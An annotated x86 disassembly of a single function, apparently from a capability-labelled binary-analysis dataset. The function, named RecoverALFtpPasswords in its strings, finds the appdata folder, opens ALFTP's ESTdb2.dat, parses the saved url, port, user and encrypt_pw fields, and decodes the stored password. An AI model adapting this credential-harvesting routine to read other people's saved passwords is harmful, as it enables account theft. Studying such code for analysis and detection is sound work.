Function at 0x41edbd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4664
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1b67]
push esi
push edi
mov esi, 0x3e7
mov byte [ebp - 0x1b68], 0
push esi
push 0
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x1f4f]
mov byte [ebp - 0x1f50], 0
push 0
push eax
call fcn.00626f50
mov esi, str.ESTdb2.dat
lea edi, [ebp - 0x10]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00631510
add esp, 0x1c
cmp eax, 1
jae 0x41ee61
lea eax, [ebp - 0x1f50]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41ee54
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RecoverALFtpPasswords
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
jmp 0x41f29e
mov eax, str._sEstsoftALFTP_s
lea ebx, [ebp - 0x1f50]
jmp 0x41ee66
mov eax, 0x66c218
lea ecx, [ebp - 0x10]
mov esi, 0x3e8
push ecx
push ebx
push eax
lea eax, [ebp - 0x1b68]
push esi
push eax
call fcn.00445d6d
lea eax, [ebp - 0x1b68]
push eax
push str._n_Final_file_path_is____s
call fcn.00449974
push 0x66ca20
lea eax, [ebp - 0x1b68]
xor ebx, ebx
push eax
lea eax, [ebp - 0x4664]
mov dword [ebp - 0x4664], ebx
push eax
call fcn.00632119
add esp, 0x28
test eax, eax
jne 0x41f28d
cmp dword [ebp - 0x4664], ebx
je 0x41f28d
lea edi, [esi - 1]
mov byte [ebp - 0xbc8], bl
push edi
lea eax, [ebp - 0xbc7]
push ebx
push eax
call fcn.00626f50
push edi
lea eax, [ebp - 0x1397]
mov byte [ebp - 0x1398], bl
push ebx
push eax
call fcn.00626f50
push edi
lea eax, [ebp - 0x177f]
mov byte [ebp - 0x1780], bl
push ebx
push eax
call fcn.00626f50
push edi
lea eax, [ebp - 0x7df]
mov byte [ebp - 0x7e0], bl
push ebx
push eax
call fcn.00626f50
push edi
lea eax, [ebp - 0x3f7]
mov byte [ebp - 0x3f8], bl
push ebx
push eax
call fcn.00626f50
push edi
lea eax, [ebp - 0xfaf]
mov byte [ebp - 0xfb0], bl
push ebx
push eax
call fcn.00626f50
add esp, 0x48
lea eax, [ebp - 0x4660]
push dword [ebp - 0x4664]
push 0x2710
push eax
call fcn.00631f4f
mov edi, 0x66ae5d
jmp 0x41f1eb
lea eax, [ebp - 0x4660]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x41ef96
lea eax, [ebp - 0x4660]
push eax
call fcn.00631510
dec eax
pop ecx
cmp eax, 0x2710
jae 0x41f2b7
mov byte [ebp + eax - 0x4660], bl
lea eax, [ebp - 0x4660]
push eax
call fcn.00449da7
lea eax, [ebp - 0x4660]
push 0x5b
push eax
call fcn.006270b0
add esp, 0xc
test eax, eax
je 0x41f07c
lea eax, [ebp - 0x4660]
push 0x5d
push eax
call fcn.006270b0
pop ecx
pop ecx
test eax, eax
je 0x41f07c
lea eax, [ebp - 0xbc8]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x41f059
lea eax, [ebp - 0x3f8]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x41f01a
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x7e0]
push eax
push str._s:_s
lea eax, [ebp - 0xfb0]
push esi
push eax
call fcn.00445d6d
add esp, 0x14
jmp 0x41f031
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0xfb0]
push esi
push eax
call fcn.006311ec
add esp, 0xc
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x1780]
push eax
lea eax, [ebp - 0xfb0]
push eax
push edi
push 0x159
push 4
call fcn.00412c85
add esp, 0x20
mov byte [ebp - 0x3f8], bl
mov byte [ebp - 0x1780], bl
mov byte [ebp - 0x7e0], bl
mov byte [ebp - 0x1398], bl
mov byte [ebp - 0xbc8], bl
jmp 0x41f1d4
push str.url
call fcn.00631510
push eax
lea eax, [ebp - 0x4660]
push str.url
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
jne 0x41f0c7
lea eax, [ebp - 0x4660]
push 0x3d
push eax
call fcn.006270b0
inc eax
push eax
lea eax, [ebp - 0x7e0]
push esi
push eax
call fcn.006311ec
lea eax, [ebp - 0x7e0]
jmp 0x41f155
push str.port
call fcn.00631510
push eax
lea eax, [ebp - 0x4660]
push str.port
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
jne 0x41f10f
lea eax, [ebp - 0x4660]
push 0x3d
push eax
call fcn.006270b0
inc eax
push eax
lea eax, [ebp - 0x3f8]
push esi
push eax
call fcn.006311ec
lea eax, [ebp - 0x3f8]
jmp 0x41f155
push 0x674c04
call fcn.00631510
push eax
lea eax, [ebp - 0x4660]
push 0x674c04
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
jne 0x41f160
lea eax, [ebp - 0x4660]
push 0x3d
push eax
call fcn.006270b0
inc eax
push eax
lea eax, [ebp - 0x1780]
push esi
push eax
call fcn.006311ec
lea eax, [ebp - 0x1780]
push eax
call fcn.00449da7
add esp, 0x18
jmp 0x41f1d4
push str.encrypt_pw
call fcn.00631510
push eax
lea eax, [ebp - 0x4660]
push str.encrypt_pw
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
jne 0x41f1d4
lea eax, [ebp - 0x4660]
push 0x3d
push eax
call fcn.006270b0
inc eax
push eax
lea eax, [ebp - 0x1398]
push esi
push eax
call fcn.006311ec
lea eax, [ebp - 0x1398]
push eax
call fcn.00449da7
lea eax, [ebp - 0x1398]
push eax
push str._n_Found_Encoded_password_s
call fcn.00449974
push esi
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x1398]
push eax
call fcn.00407681
add esp, 0x2c
push dword [ebp - 0x4664]
lea eax, [ebp - 0x4660]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0xc
test eax, eax
jne 0x41ef65
push dword [ebp - 0x4664]
call fcn.00637603
lea eax, [ebp - 0xbc8]
push eax
call fcn.00631510
pop ecx
pop ecx
test eax, eax
je 0x41f288
lea eax, [ebp - 0x3f8]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x41f249
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x7e0]
push eax
push str._s:_s
lea eax, [ebp - 0xfb0]
push esi
push eax
call fcn.00445d6d
add esp, 0x14
jmp 0x41f260
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0xfb0]
push esi
push eax
call fcn.006311ec
add esp, 0xc
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x1780]
push eax
lea ecx, [ebp - 0xfb0]
push ecx
push edi
push 0x159
push 4
call fcn.00412c85
add esp, 0x20
xor eax, eax
inc eax
jmp 0x41f2a8
lea eax, [ebp - 0x1b68]
push eax
push str.RecoverALFtpPasswords
push str._s_Failed_to_open_file__s
call fcn.00449974
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
call fcn.005fe87a
int3